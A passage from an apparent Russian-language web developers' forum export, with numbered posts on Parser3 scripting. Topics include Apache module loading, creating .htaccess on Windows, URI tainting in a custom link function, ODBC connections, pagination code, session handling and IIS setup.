Header(\"Cache-Control: no-cache, must-revalidate\"); // для HTTP/1.1\
Header(\"Pragma: no-cache\"); // для HTTP/1.0"
"8470","При попытке подгрузить модуль Parser3 для Apache2 сервер выдал следующее сообщение:\
\"Cannot load D:\\server\\Apache2\\modules\\Parser3\\ApacheModuleParser3.dll into server: The specified module could not be found.\"\
Подскажите, в чем тут дело.\
Заранее благодарен."
"8471","Версии 1.3 и 2.0 не являются бинарно-совместимыми. Модуль, представленный в разделе скачать предназначен для Apache 1.3, работать с Apache 2.0 не должен. Т. е. это не баг, а фича. ;-) В качестве решения можно посоветовать cgi-версию, либо Apache 1.3. :-) "
"8472","Как насчёт [i]move[/i]? Должно помочь, IMHO. :-) "
"8473","это где-ж в России более крупную русскую студию дизайна найти! ;-) \
\
Кстати, а вот ребята из NetBSD только и делают что портируют свой код на любые процессоры. ;-) Может вам к ним за помощью обратиться? ;-)"
"8474","Я уже его практически сделал, осталось малость - написать output filter. Дело в том, что в apache 2 вместо handlers для обработки файлов с определенным расширением до выдачи их юзеру, сделали output filters. Точнее говоря handlers там тоже есть, но они там совсем для другого и если просто втупую переделать handler для Apache 1.3 в соответствующий для 2-го Apache, он будет работать глобально, вне зависимости от того назначаешь ты его в конфиге обработчиком или нет. Это было бы ничего, если бы все работало, однако работает не все, - а именно, не отображаются картинки. Поэтому надо вместо handler сделать output filter, все остальное делается тривиально. Желающим могу послать исходник модуля для 2-го apache."
"8475","это такая вещь, которую в принципе нельзя решить для всех и вся, т.е. всегда будет на одной платформе работать то, что на другой работать не может. Это похоже на ситуацию с человеческими языками, - есть же вещи, которые в принципе перевести на другой язык без потери смысла нельзя."
"8476","Версия парсера 3.0005 linux при попытке отправки письма пишет следующее:\
'/usr/sbin/sendmail' reported problem: /usr/sbin/sendmail: option requires an argument -- f (64)\
При этом сам sendmail по этому пути существует и вполне работает. В auto.p указание $MAIL в явной форме не помогает. Помогите, плиз, понять, в чем дело !\
\
"
"8477","В Windows не удаётся создать файл «.htaccess» т.к. до точки должно стоять название файла. Что делать?"
"8478","Переименовать созданный файл и дать ему пустое имя видимо точно не получится, но можно сделать так:\
берёшь блокнот, создаёшь новый документ, говоришь сохранить (только в типе вместо *.txt, поставь All Files), вводи имя .htaccess и всё уже сохранилось! Можно пользоваться."
"8479","Открой блокнот, пиши в него, что должно быть в .htaccess. -> Файл - Сохранить как... - в поле имени пиши .htaccess, в поле \"тип файла\" выбери \"все файлы \"*.*\".\
Все!"
"8480","есть ощущение, что вы не указали $.from[кто], а parser почему-то не настоял на этом. не проверите?"
"8481","Kto nibud polzovalsya etim produktom?"
"8482","Опять taint/untaint. В применении к уришкам.\
Такой вот код:\
\
^form:fields.foreach[k;v]{\"$k\" = \"$v\"}[<br>]<hr><pre>\
1. $x[$request:uri]	$y[^link[;?uri=$x]]			<a href='$y'>$x // $y</a>\
2. $x[$request:uri]	$y[^link[;?uri=^taint[uri][$x]]]	<a href='$y'>$x // $y</a>\
3. $x[$request:uri]	$y[^link[;^taint[uri][?uri=$x]]]	<a href='$y'>$x // $y</a>\
4. $x[$request:uri]	$y[^taint[uri][^link[;?uri=$x]]]	<a href='$y'>$x // $y</a>\
\
Такая вот строка запроса:\
http://localhost/lalala/m.pml?x=5&y=6&z=7\
\
На выводе имеем:\
\"x\" = \"5\" \"y\" = \"6\" \"z\" = \"7\" \
1. ?uri=/lalala/m.pml?x=5&y=6&z=7\
2. ?uri=/lalala/m.pml%3Fx%3D5&y=6&z=7\
3. ?uri=/lalala/m.pml%3Fx%3D5&y=6&z=7\
4. %3Furi%3D/lalala/m.pml%3Fx%3D5%26y%3D6%26z%3D7\
\
Заметка: оператор link принимает вторым параметром строку запроса. Он ее разбирает на части (параметры). Перегруппирует. И соединяет вновь (смотрите в конце сообщения).\
\
Начинаем думать.\
\
Пункт первый. Обработка без taint'ов. Вывел ссылку как есть. Естественно, она воспринимается не как ?uri=(/lalala/m.pml?x=5&y=6&z=7), а как ?uri=(/lalala/m.pml?x=5)&y=6&z=7. То есть до первого амперсанда. Логично. Надо амперсанды и прочую нечисть заквотить.\
\
Пункт второй. Пытаемся заквотить само значение параметра. Несмотря на то, что в taint передается вся строка $x, то есть все три аргумента запроса, квотятся только символы опять же до амперсанда. Странно конечно. Я ожидал окрашивания ВСЕЙ строки, то есть и всех прочих символов.\
\
Пункт третий и четвертый. Ну это, как вы поняли, уже шаманство. Не помогло, увы :-( Заметьте: четвертый отквотил что нам было надо, но вместе с самим запросом.\
\
Мне вот интересно, как это все на самом деле в таком коде работает и как получить запрос ?uri=/lalala/m.pml%3Fx%3D5%26y%3D6%26z%3D7\
\
Это и есть вопрос.\
\
PS: я знаю что я тупица :-) можете об этом мне не сообщать :-) но такие выкрутасы с красками - это шедевр человеческой мысли, ей богу %-)\
\
Приложение: оператор link.\
Ничего не меняю. Тут много кода, ненужного для понимания проблемы. Но я не сумею сократить оператор, ибо я сам не помню уже что тут что делает :-)\
Задача оператора - заместить параметры в uri новыми значениями из nfields (задается в форме name1=val1&name2=val2&name3=val3, то есть как строка запроса). Но я заменами в вышеприведенном коде не пользуюсь. mode - режим замены. первый символ - \"r\" ил \"l\" - куда добавлять новые (не замещенные, а новые), параметры - справа или слева.  второй символ \"+\" или \"-\" - нужно (+) или не нужно (-) сохранять позиции замещенных параметров. Если не нужно - они считаются как вновб добавленные. Вот такая мудрость :-)\
#########################################################################################\
@link[nfields;uri;mode][temp;temppos;tempfield;tempvalue;uripath;uriargs;qfields;rfields;modealign;modekeep]\
# корректируем значения входных переменных и формируем вспомогательные структуры\
	^if(!def $uri){$uri[$request:uri]}\
	^if($nfields is 'string'){\
		$qfields[^table::create{field	value}]\
			$temp[^nfields.lsplit[&]] ^temp.menu{\
			$temppos[^temp.piece.pos[=]]\
			$tempfield[^if($temppos >= 0){^temp.piece.mid(0;$temppos)}{$temp.piece}]\
			$tempvalue[^if($temppos >= 0){^temp.piece.mid($temppos+1)}{}]\
			^qfields.append{$tempfield	$tempvalue}\
		} $nfields[$qfields]\
	}\
	^if(! $nfields is 'table'){$nfields[^table::create{field	value}]}\
	^if(! def $nfields       ){$nfields[^table::create{field	value}]}\
	$qfields[^table::create{field	value}]\
	$rfields[^table::create{field	value}]\
	^switch[$mode]{\
		^case[r-]{$modealign[r] $modekeep[0]}\
		^case[l-]{$modealign[l] $modekeep[0]}\
		^case[r+]{$modealign[r] $modekeep[1]}\
		^case[l+]{$modealign[l] $modekeep[1]}\
		^case[DEFAULT]{$modealign[r] $modekeep[0]}}\
# анализируем адрес, извлекая из него путь к файлу и строку аргументов\
	$temppos[^uri.pos[?]]\
	$uripath[^if($temppos >= 0){^uri.mid(0;$temppos)}{$uri}]\
	$uriargs[^if($temppos >= 0){^uri.mid($temppos+1)}{}]\
# анализируем строку аргументов и преобразуем в таблицу\
	$temp[^uriargs.lsplit[&]] ^temp.menu{\
		$temppos[^temp.piece.pos[=]]\
		$tempfield[^if($temppos >= 0){^temp.piece.mid(0;$temppos)}{$temp.piece}]\
		$tempvalue[^if($temppos >= 0){^temp.piece.mid($temppos+1)}{}]\
		^qfields.append{$tempfield	$tempvalue}\
	}\
# переносим существующие аргументы, замещая старые значения новыми или сохраняя их\
	^if($modealign eq l){^rfields.join[^nfields.select((!^qfields.locate[field;$nfields.field] || !$modekeep) && def $nfields.value)]}\
	^qfields.menu{\
		^if(^nfields.locate[field;$qfields.field]){\
			^if(!$modekeep){$tempvalue[]}{\
			$tempvalue[$nfields.value]}\
		}{	$tempvalue[$qfields.value]\
		}	$tempfield[$qfields.field]\
		^if(def $tempvalue){^rfields.append{$tempfield	$tempvalue}}\
	}}\
	^if($modealign eq r){^rfields.join[^nfields.select((!^qfields.locate[field;$nfields.field] || !$modekeep) && def $nfields.value)]}\
# формируем новый адрес и возвращаем его\
#!!!	$uriargs[^rfields.menu{^taint[uri][$rfields.field]=^taint[uri][$rfields.value]}[&]]\
	$uriargs[^rfields.menu{$rfields.field=$rfields.value}[&]]\
	$result[$uripath^if(def $uriargs){?}$uriargs]\
#########################################################################################\
\
ВСЕ."
"8483","Нет ли случайно ни у кого пустой базы данных news типа MySQL с заголовками id(int not null auto_increment primary key), date(date), header(varchar(255)), body(text) ? "
"8484","я не анализировал в деталях код, но похоже, что проблема в следующем:\
\
Вариант 2 в плане применения taint правильный, но...\
taint/untaint НЕ МЕНЯЮТ БУКОВОК.\
Ты после \"раскрашивания\" вызываешь свой ^link[] а он берет и переколбашивает все... Он все равно найдет там амперсанд, который ты покрасил, т.к. до момента выбачи в броузер он будет оставаться амперсандом.\
\
Т.е. в данном случае тебе нельзя использовать твой ^link[]\
\
Ты можешь переписать твой ^link[] таким образом, чтобы он разбивал строку на подстроки, разделенные символом & с использованием match, и ты запоминал бы эти самые & (символ запоминал-бы с языком, на котором он есть) и после склейки склеивал-бы с момощью этих запомненых, испачканых '&'. Но это все равно не то, т.к. тебе вообще пачканые амперсанды надо выкинуть из обработки ^link[]-ом.\
\
Так что наверное в твоем случае проще сделать replace символов, недопустимых в uri..."
"8485","ti che gonish?! kakoy esche bazi???"
"8486","U menia schas ne postavlena MySQL, a basa dannih nuzhna pozares. Vot ia i resil u naroda posprashivat', chtob te mne po vozmozhnosti na milo skinuli. Basa kak v uroke ...ne pomniu nomera... 4 kazetsya."
"8487","если вы хотите сделать ссылку, чтобы $k и $v превратились в ней превратились в %HH…, то…\
[code]\
<a href=\"?^untaint[uri]{$k=$v}\">link</a>\
[/code]\
\
так можно воссоздать исходный query_string, переработанный как угодною\
\
можно и просто им самим исходным манипулировать: \
[code]\
$request:query\
[/code]\
\
но я вообще не понял, зачем нужно что-то разбирать и «перегруппировывать».\
что до всяких таких параметрах в строке запроса, то можно почитать ководство с мыслями самизнаетекого на эту тему, он дело говорит."
"8489","Etot produkt kak-to sviazan s Delphi, ne pomnu tolko kak... zaydi na <a href=\"http://www.dbwork.kuban.ru/\">http://www.dbwork.kuban.ru/</a>"
"8491","Просто на стандартно установленном MacOSX парсер не собирается из-за кривого libtool. А устанавливать НЕстандартно - чревато потерей ценного рабочего времени. А второго мака (которого не жалко) у меня нет. Лучше админов попрошу о личном сайтике на внутреннем сервере - там и обновления, и поддержка, и, главное, глюков нет. ;-)"
"8494","База данных и таблица в базе данных - это разные вещи (в одной базе может быть много таблиц, но таблиц без БД быть не может, разве что в FoxPro :))!\
Для использования MySQL нужно поставть MySQL-сервер.\
\
Для экспериментов можешь сделать базу в Аccess (офис неверное у тебя стоит), завести систем-DSN и через ODBC баловаться! Отличие будет только в строке подключения. Сам диалект SQL-я конечно немножко отличается от MySQL-ого, но для начала пойдёт (да плюс в Access есть конструктор SQL-запросов). Т.ч. для \"локальной\" тренировки Access вполне подойдёт."
"8495","Подойдет ли parser'у InterBase/Firebird в качестве sql-клиента? Сработает ли ^connect[mysql://root@localhost/name_of_the_base]\
P.S.\
MS Access ешо трудноват для меня..."
"8498","А сработает, если скачать .zip и пытаться приконектиться через:\
^connect[odbc://root@localhost/имя_базы] ?"
"8499","Создал sections.sfg, auto.p, index.html така как сказано в примере.\
Браузер же выдает следующее: \"d:/program files/apache group/apache/htdocs/auto.p(2): 'd:/program files/apache group/apache/htdocs/sections.cfg' read failed: No such file or directory (2), actual filename 'd:/program files/apache group/apache/htdocs/sections.cfg'  type: file.missing\".\
\
В чем дело? Помогите, пожалуйста, разобраться."
"8501","Через ODBC из парсера можно подключться к чему угодно, только обязательно должен быть установлен ODBC-драйвер той БД, к которой хочешь подключиться.\
\
^connect[mysql://root@localhost/name_of_the_base] не сработает, т.к. это подключение к MySQL (к MySQL может и сработает, если все остальные параметры правильно прописал)\
\
Чтобы подключаться через ODBC (см. хелп) пиши:\
$connect_string[odbc://DSN=myDSNname^;UID=user^;PWD=password]\
К Access можно и так:\
$connect_string[odbc://DSN=myDSNname]\
\
А что в Ассess сложного? Проще и не придумаешь!"
"8502","Надо вычислить статус checkbox'a, checked он или не checked. С javascript'oм чета не получилось. Не могу найти нужный attribute."
"8503","скачай parser3odbc.dll и выложи его в каталог для sql-драйверов!\
\
А синтаксис подключеня см. тут http://www.parser.ru/forum/?id=8501\
(я тебе уже писал)"
"8504","if (document.form_name.element_name.checked){} else {};"
"8505","Миша, пожалуйста, поподробнее..."
"8506","расширение файла у тебя другое, надо .cfg а не [b].sfg[/b]"
"8507","Извини, братцы, бывает"
"8508","Да, вы правы, все так. И даже вывод ^taint[uri][$x] дает то, что мне нужно. то есть к taint претензий боьлше нет :-)\
Осталось следующая непонятная вещь: почему же тогда знак вопроса (добавляемый в конце link), и первый знак равно ОКРАШИВАЮТСЯ в uri, а вот остальные - НЕ окрашиваются. Хотя формируются они в одном и том же цикле. Вот задачка для мозгов. Не пойму :-/"
"8510","Помогло следующее. Если записать в виде ^link[;?uri=^urlencode[$x]], где urlencode заменяет символы на процентные конструкции явно.\
\
Думаю вот, а нужно ли при этом раскрашивать их в as-is? В принципе, и так работает. Но вдруг какой-то случай подвернется нехороший :-/\
\
Всем спасибо за внимание. ;-)\
\
PS1. О необходимости извратов с uri. Такой поворот с параметром uri используется лишь для страницы входа чтобы запоминать ОТКУДА пользователь решил зарегистрироваться. Потом на ту страничку и возвращается, а не на корневую или домашнюю. Сессии я указываю по идентификатору через параметр (ну вот не верю я в куки). Так что других способов не вижу.\
\
PS2. О необходимости разбора параметров и перегруппировки. Так мнрого на сайте параметров на некоторых страницах и в каждом из их действий, и даже несколько сквозных внутрисайтовых параметров, что я сам путаюсь в их именах. А что дальше будет 8-( Поэтому я делаю изменение строки параметров ДОБАВЛЕНИЕМ или ИЗМЕНЕНИЕМ параметров из текущей строки, а не формированием новой строки каждый раз. (Как я уже сказал, в кукИ я не верю и кукАМ я тоже не верю).\
"
"8511","Которые потом очень мужественно преодолевал :)\
\
Мне кажется, что таскать за собой такую пачку параметров таким образом не стОит, но это лишь мое мнение.\
\
Про расскрашивание: лучше придерживаться такой политики: \"все по умолчанию хорошо\" :) Т.е. то, что придет от пользователя парсер сам заменит. Тебе тоже лучше не расскрашивать, т.к. ты мог забыть какой-нить спец символ, какой не забыл ПАФ ;-) и случись чего парсер тебя подстрахует.\
\
Про '?' - ты понять понял, но мог-бы и объяснить другим: у тебя это нормально тайнтилось, т.к. твой метод ^link[] брал все, правее первого '?' и бил по '&', потом, когда склеивал пришедший '?' оставался без изменений (крашеный), а '&' ты втыкал чистые... Поэтому перед отдачей в броузер '?' менялся, а подставленые тобой '&' - нет.\
\
Я сам в ряде случаев использую такой-же подход: передачу в параметре урла. Но я не таскаю за собой это - я всего-лишь в письме пишу такой сформированый урл, чтобы чувак сделал его copy/paste в броузер и у него открылся документ, где в одном фрейме - одно, во втором - второе и т.д...\
\
Когда у меня возникает необходимость передавать кучу параметров - я делаю это через формы (hidden)... а на link вешаю action, submit-ящий формочку... Но вообще-то я стараюсь не использовать таких механизмов.\
\
P.S. А я в куки верю... :)))))))"
"8512","Есть код\
[code]\
<FORM NAME=\"editform\">\
<table width=100% class=group cellpadding=\"2\" cellspacing=\"0\">\
	<tr>\
		<td width=10%>$editgroup.GroupID</td>\
		<td width=40%><INPUT TYPE=\"text\" NAME=\"EditGroupName\" value=\"$editgroup.Name\" SIZE=\"50\" MAXLENGTH=\"100\"></td>\
		<td width=40%><TEXTAREA NAME=\"EditGroupComment\" COLS=\"40\" ROWS=\"3\">$editgroup.Comment</TEXTAREA></td>\
		<td width=10%><A HREF=\"index.html?ch=updategroup&gr=$form:EditGroupComment&comm=$form:EditGroupComment\">Сохранить</A></td>\
	</tr>			\
</table>\
</FORM>\
[/code]\
\
В форме два поля. Значения подставляются из БД. Необходимо при нажатии на ссылку [b]сохранить[/b] передать указанные поля далее. В данном случае переменную [b]ch[/b]-переает, а [b]gr, comm[/b]-нет.\
\
И еще вопрос - какой длины может быть информация передаваемая через URI. \
\
"
"8513","Значит так : \
Для переносимости серверов на сайте решено заменить $env:SERVER_NAME на эквивалент, полученый из Javascript'овского location.host (location.hostname). Новую переменную назвали $MAIN:SERVER. Вопрос в том, КАК передать это значение?\
[code]\
$MAIN:SERVER[<script language=\"javascript\">location.host</script>]\
[/code]\
и\
[code]\
$MAIN:SERVER[^process{<script language=\"javascript\">location.host</script>}]\
[/code]\
работать не станет. По идее, script должен 1 раз отработать чтобы получить location.host. Можно потом передать эту переменную через form:field, но это не спортивно. По другому никак нельзя???"
"8514","RedHat 7.2 + Apache 1.3\
хостинг - Мастак (http://www.mastak.ru)\
\
Сначала случайно не положил файлы с кодировками, и он выдавал Unhandled Exception; а теперь, когда я их выложил, выводится ELF.\
\
Где глюк?"
"8515","И в JS я тоже не верю :-)))\
\
\
\
В смысле в то, что он будет включен. А мне надо чтобы сайт работал в любом случае независимо от параноидальных фантазий и настроек пользователя."
"8516","Потому что при формировании ссылки на сервере в нее подставляются значения полей из базы. Как ты не изменяй значения полей в форме, при нажатии на ссылку на страницу будут переданы именно эти значения из базы (потому что ссылка УЖЕ сформирована).\
\
Чтобы передавать значения полей формы через get-запрос по ссылке (то есть не через <input type=submit>) нужно на эту ссылку поставить onclick-обработчик на js. Этот обработчик и должен сформировать положенный адрес запроса (средствами js) и перейти по нему. При этом JS у посетителей должен быть включен. Иначе от нажатия на \"сохранить\" эффекта будет ноль. Ну почти ноль.\
\
А лучше использовать средства, предназначенные для посылки информации -- <input type=submit> или <input type=image> (если не ошибаюсь)."
"8517","Ты создаешь громоздкий код, привоносишь в него баги... и ради десятой доли посетителей?\
\
Работать должно у всех, но кто хочет пользоваться только одной колонкой пусть не возмущеается, что у него звук - моно. Не надо пытаться создать для него псевдо-стерео.\
\
все это - IMHO"
"8518","Я хочу написать программу доступа к разным файлам, т.е. доступен ли пользователю данный файл!\
\
И хочу реализовать это как это сделанно для парсера. т.е. парсер же обрабатывает страницы как [code]www.domain.ru/cgi-bin/parser.exe/index.html[/code]\
\
а можно ли сделать так [code]www.domain.ru/cgi-bin/parser.exe/admin.html/далее сюда должен передаваться путь до страниц[/code]\
\
А на странице админ должен получаться путь страницы, которую пользователь хочет открыть и проверяется доступность открытия файла.\
\
Как это можно реализовать?"
"8519","Блокнот, один черт, создаст файл .htaccess.txt...\
а при попытке переименовать в Проводнике -- затребует ввести имя файла -- пустышку не примет.\
Так что, без FAR, NC, Windows Commander, и т.д. один черт не обойтись.\
Хотя переименовать можно в навигационной панели CuteHTML... ежли есть...\
только она сразу новое имя не покажет -- надо потом обновить панель. (F5)"
"8522","Просидел две ночи (баран) :)\
В итоге решил обратиться к отцам... помогите плиз...\
Как организовать навигацию по гостевой (типа 1-10 | 11-20 | 21-30 и т.д.)\
Как вообще такое разрешимо? Через $form:fields?\
Если через них, то у меня после записи даты из формы происходит ошибка..\
\
спасибо заранее... :)"
"8523","javascript -- выполняется на стороне клиента. parser3 -- на стороне сервера. Ты что, представляешь, что джаваскрипт будет встроен в парсер? Что ещё за переносимость такая? \
\
Если уж так хочешь всё сделать через №;%:, то не мешало бы хотя бы выставить document.write в js. И тогда это безобразие будет иметь хоть какой-то смысл..."
"8524","Создать его очень просто и более чем элементарно! Берём любой файл, предположим, это был test.html, и говорим в правильной папке \
[code]\
move test.html .htaccess\
[/code]\
Для любителей приключений этот код можно записать в файл \"rename.bat\" или \"rename.cmd\" и придумать что-нибудь интересное! Если не получается потом открывать этот самый .htaccess, то можно сделать ещё один файл, \"renametodef.cmd\":\
[code]\
move .htaccess todef.html\
[/code]\
\
\"Нормальным\" людям также может помочь изменение стандартного названия файла \".htaccess\", на какое-нибудь другое, Apache и это позволяет делать. \
\
Используйте Вашу фантазию, господа! ;-) "
"8525","Тут все просто. В форму передаешь всего один параметр - текущий номер записи. Все остальное считаешь.\
[code]\
@scrol1[] Постраничный скролер\
#Считаем сколько будет номеров 1-5 | 6-10\
\
$shag[^math:ceiling(^eval(^таблица.count[]/$colvo))]\
$sum3[1]\
\
#$colvo - шаг внутри скролера\
\
$sum4[$colvo]\
\
#Если $sum3 == $sum4 выводим 1 | 2 | 3\
\
^if($sum3 == $sum4){\
	^for[scroll](1;^таблица.count[]){\
		^if($form:p_no == ^eval($sum3-1)){\
			<nobr>${sum3}</nobr>\
		}{\
			<a href=\"/index.html?p_no=^eval($sum3-1)\" class=\"scroll\"><nobr>${sum3}</nobr></a>\
		}\
		$sum3[^eval($sum3+1)]\
	}[ ]\
}{\
	^for[scroll](1;$shag){\
		^if($form:p_no == ^eval($sum3-1)){\
			^if($sum4 > ^таблица.count[]){\
				^if($sum3 == ^таблица.count[]){\
					<nobr>${sum3}</nobr>\
				}{\
					<nobr>${sum3}-^таблица.count[]</nobr>\
				}\
			}{\
					<nobr>${sum3}-$sum4</nobr>\
			}\
		}{\
			^if($sum4 > ^таблица.count[]){\
				^if($sum3 == ^таблица.count[]){\
					<a href=\"/index.html?p_no=^eval($sum3-1)\">${sum3}</a>\
				}{\
					<a href=\"/index.html?p_no=^eval($sum3-1)\"><nobr>${sum3}-^таблица.count[]</nobr></a>\
				}\
			}{\
				<a href=\"/index.html?p_no=^eval($sum3-1)\"><nobr>${sum3}-$sum4</nobr></a>\
			}\
		}\
		$sum3[^eval($sum3+$colvo)]\
		$sum4[^eval($sum4+$colvo)]\
	}[ | ]\
}\
[/code]\
Пример рабочий. Коментарии писать лень. Скролер рассчитан как на вывод по одной записи (1 | 2 | 3) так и вывода группами (1-5 | 6-10). На текущей странице ссылка как ссылка не работает."
"8526","Недавний вопрос и ответы на него натолкнули на раздумья, что в порыве универсализации я и правда усложнил код ради малой доли параноидальных посетителей.\
\
А вопрос такой: где есть хорошая свежая (то есть не годовалая) статистика о пользователях и их настройках, содержащая в частности информацию об использовании (включении) JS, cookies, типах браузеров и ос и подобную клиентскую информацию? Поиск на spylog ничего не дал. Или я не так искал. Там какие-то коммерческие продажи такой информации предусмотрены вроде бы. А вот нахалявку бы ;-)\
"
"8528","http://www.parser.ru/f/1/download/freebsd/parser3_3_0_0005_freebsd46R_grpunlim_cgi.tar.gz\
\
http://www.parser.ru/f/1/download/freebsd/parser3_3_0_0005_freebsd46R_grpunlim_cgi_xml.tar.gz\
"
"8530","все browser'ы передают \
[code]$env:HTTP_REFERER[/code]\
\
возможно, это бы уменьшило мучения, что вы себе придумали?"
"8531","общеизвестные варианты, позволяющие не таскать по сайту тучи параметров:\
\
id сессии в…\
…cookie, default в browser'ах включены\
…?session_id=параметре\
…<input type=\"hidden\" name=\"session_id\" value=\"спрятанном поле формы\"\
…/часть_пути/к/документам.html\
\
тут есть из чего выбрать: любой из этих подходов избавляет вас от необходимости заниматься [b]крайне[/b] сомнительным делом: пересовывать параметры самому себе.\
\
объясню, почему сомнительным: такой подход только запутывает вас самих: вы сами уже сейчас [i]признаётесь[/i], что слабо понимаете, какой параметр ожидается в каком случае, а что будет через полгода? а что будет, если в проекте нужно будет разобраться не вам?\
\
диагноз: сессии и ещё раз сессии. как передать id можно выбрать из предложенного или попробовать что-нибудь ещё выдумать.\
\
как красиво спрятать механизм работать с сессиями я уже писал, ну да повторение…\
нужно сделать пользовательский класс 'session', в который и поместить работу с ними, в его коде будет зашит механизм [cookie/url/...].\
\
и пользоваться им:\
[code]\
^session:get[field]\
^session:set[field;value]\
[/code]"
"8532","1. только через запрос.\
2. о какой «переносимости» идёт речь? SERVER_NAME стандартная CGI переменная, и parser выдает $env:SERVER_NAME и в .cgi и в mod_apache и в isapi версиях.\
3. что мешает задавать эту переменную в конфиге сервера, зачем что-то там детектировать?\
выстрел в темноту: вы используете несколько alias'ов для одного веб-сервера, и хотите сделать redirect на тот alias, с которого в конкретном случае зашёл пользователь? в apache есть директива \
[quote]\
UseCanonicalName \
…\
This name is used in all self-referential URLs, and for the values of SERVER_NAME and SERVER_PORT in CGIs.\
…\
With UseCanonicalName off Apache will form self-referential URLs using the hostname and port supplied by the client if any are supplied (otherwise it will use the canonical name). \
[/quote]\
"
"8533","[quote]\
друзья, давайте будем писать в заголовки не help, застрял, и прочую чушь, а хоть какие-то слова из сути проблемы.\
\
простой алгоритм: представьте, что вы пишите для yandex/google/etc строку вопроса, ожидая увидеть разумные ответы на свой вопрос.\
[/quote]\
\
простой вариант:\
\
[code]\
^if(^можно[]){\
    $response:body[^file::load[binary;/../data/secret.doc]]\
}\
[/code]"
"8534","почему, я уже писал.\
ключевой момент: «а как reget/getright скачает такой файл?»"
"8536","SERVER_NAME - это CGI переменная. Мне казалось, что это переменная Apache и на IIS ее нет. Извините за отнятое время..:))))"
"8537","1.\
[code]\
#кошмар\
$shag[^math:ceiling(^eval(^таблица.count[]/$colvo))]\
#лучше\
$шаг(^math:ceiling($таблица/$на_странице))\
[/code]\
\
2.\
[code]\
#кошмар\
$sum3[^eval($sum3+$colvo)]\
#лучше\
^sum3.inc($на_странице)\
[/code]\
\
3.\
обилие ^eval(sum3-1) означает, что плохо выбрано основное значение.\
\
4.\
имена переменных asjdfksjdf1 sdkfjskdfj2 sdkfjskdfj3 ужасны.\
\
прошу такие чудовищные примеры не публиковать.\
есть ли у кого получше?"
"8538","[code]\
#кошмар\
$shag[^math:ceiling(^eval(^таблица.count[]/$colvo))]\
#лучше\
$шаг(^math:ceiling($таблица/$на_странице))\
#совсем правильно\
$шаг($таблица\\$на_странице)\
[/code]\
\
был в ужасе=не в себе :)\
"
"8539","это делает trunc, а не ceiling, но, уверен, надо делать именно его."
"8540","без их знания просто [b]нельзя[/b] ничего скриптовать."
"8541","на самом деле даже если бы и знали, вы могли не знать, что ISAPI их поддерживает, ведь ISAPI!=CGI и не обязан. но если скриптуете, используя ISAPI, его знать обязаны."
"8542","хороших ссылок по этим темам, а то я по Яndex'у пробежал, а там тишина..."
"8543","http://www.google.com/search?q=cgi вторая ссылка\
http://www.w3.org/ остальное"
"8544","зато пример рабочий, я не соревнуюсь в красоте кода, потому как  моя работа не программирование.\
Но за комментарии спасибо... приму к сведению."
"8545","1. Как правильно настроить IIS... чтоб можно было сделать каталог по умолчанию http://localhost/mysite ?\
2. Почему, если в sections.cfg на \"главная страница\" указана ссылка \"/\", то IIS посылает меня в localhost/, а не в localhost/mysite/ ?"
"8546","георгий, почитайте хотя бы немного встроенного help.\
\
вам не нужен сайт подкаталогом,\
вам нужен просто отдельный сайт.\
остановите сайт по-умолчанию, и создайте свой."
"8547","Извините, пожалуйста, но если я положу директорию mysite в корень диска C:, то из консоли IIS я никогда не смогу добраться до C:\\mysite ! Мне просто напроста негде будет кликнуть мышкой и оговорить, чтобы ХТМЛи парсером обрабатывались.\
Пост скриптум:\
Почемето пример с навигацией не работает. ^if($sections.uri eq $request:uri) . Не получает он от браузера $request:uri"
"8548",".htaccess.tхt создаст если у тебя в типе стоит *.txt, а если стоит *.*, то создаст то, что напишешь (.htaccess)!!!! В win2k всё четко работает - проверено!\
Html-странички в блокноте когда-нибудь с нуля писал или нет (или всё made in FrontPage)? Там тоже можно от большого ума сохранить MyFirstPage.htm.txt, но у нормальных людей все же получается сохранять прямо из блокнота в MyFirstPage.htm (потому что выбирают *.*)"
"8549","Я пишу скрипты для себя, посему и имена переменных даю какие мне больше нравятся. Конечно же для читабильности кода лучше писать $next_page, $prev_page вместо $sum3, $sum4, но это сути не меняет."
"8550","[code]\
@generatenav[navstr;maxnum;current;onpage;onnav;style][delim;startnum;endnum;pagenum;onnav]\
^if($maxnum>$onpage){\
	^if($current<0){\
		$current(0)\
  	}\
  	^if($current>$maxnum){\
  		$current($maxnum)\
  	}\
  	^if(^navstr.match[\\?][g]){\
  		$delim[&]\
  	}{\
  		$delim[?]\
  	}\
  	^if(^math:floor($current/$onpage)>=$onnav){\
		$startnum(^math:floor($current/$onpage))\
		$startnum(^math:trunc($startnum/$onnav)*$onnav)\
  	}{\
  		$startnum(0)\
  	}\
	^if((($startnum+$onnav)*$onpage)<$maxnum){\
		$endnum($startnum+$onnav-1)\
  	}{\
  		^if(^math:frac($maxnum/$onpage)==0){\
			$endnum($maxnum/$onpage-1)\
  		}{\
			$endnum(^math:floor($maxnum/$onpage))\
		}\
  	}\
  	^if($startnum>=$onnav){\
  		<a href=^\"${navstr}${delim}s=^eval(($startnum-1)*$onpage)^\" $style>&#237;&#224;&#231;&#224;&#228;</a>&nbsp^;\
  	}  	\
  	^for[pagenum]($startnum;$endnum){\
  		<a href=^\"${navstr}${delim}s=^eval($pagenum*$onpage)^\" $style>^if(($pagenum*$onpage)==$current){<b>$pagenum</b>}{$pagenum}</a>\
  	}[&nbsp^;]\
  	^if((($endnum+1)*$onpage)<$maxnum){\
  		&nbsp^;<a href=^\"${navstr}${delim}s=^eval(($endnum+1)*$onpage)^\" $style>&#228;&#224;&#235;&#229;&#229;</a>\
  	}\
}\
#end of @generatenav[$navstr;$maxnum;$current]\
[/code]"
"8552","не извиню.\
как создаются виртуальные сайты давайте вы почитаете сами.\
пример под iis действительно не работает, IIS выдаёт в $request:uri вместе с именем документа по-умолчанию [/news/default.htm или /news/index.html], в не просто [/news/]. хороший пример в работе."
"8553","Вариант с …?session_id=параметр у меня и реализован. И класс session сделан. И методы get/set :-)\
\
Сайт будет работать и если убрать перетасовку параметров. Нужно будет только четко зафиксировать схему формирования урлов для разделов сайта, список параметров для каждого раздела и выделить некоторые \"спец\"разделы и сквозные параметры. Пока архитектура сайта(ов) находилась в стадии проектирования я и использовал такую хитрость с сохраненем параметров. В самом чистовом варианте оно будет убрано, безусловно. Но сейчас это действо мне очень помогает беречь нервы (за исключением ситуаций с окраской :) ).\
\
А в общем-то ничего сложного для стороннего глаза нет. Ибо все задокументировано детальнейшим образом.\
\
Но все же, всем большое спасибо. Ваши советы я учту и обдумаю, хотя не гарантирую что им последую. ;-)"
"8554","Каталог с файлами сайта можно разместить где угодно (на любом диске, на любом уровне вложенности каталогов, даже в сетевой папке)\
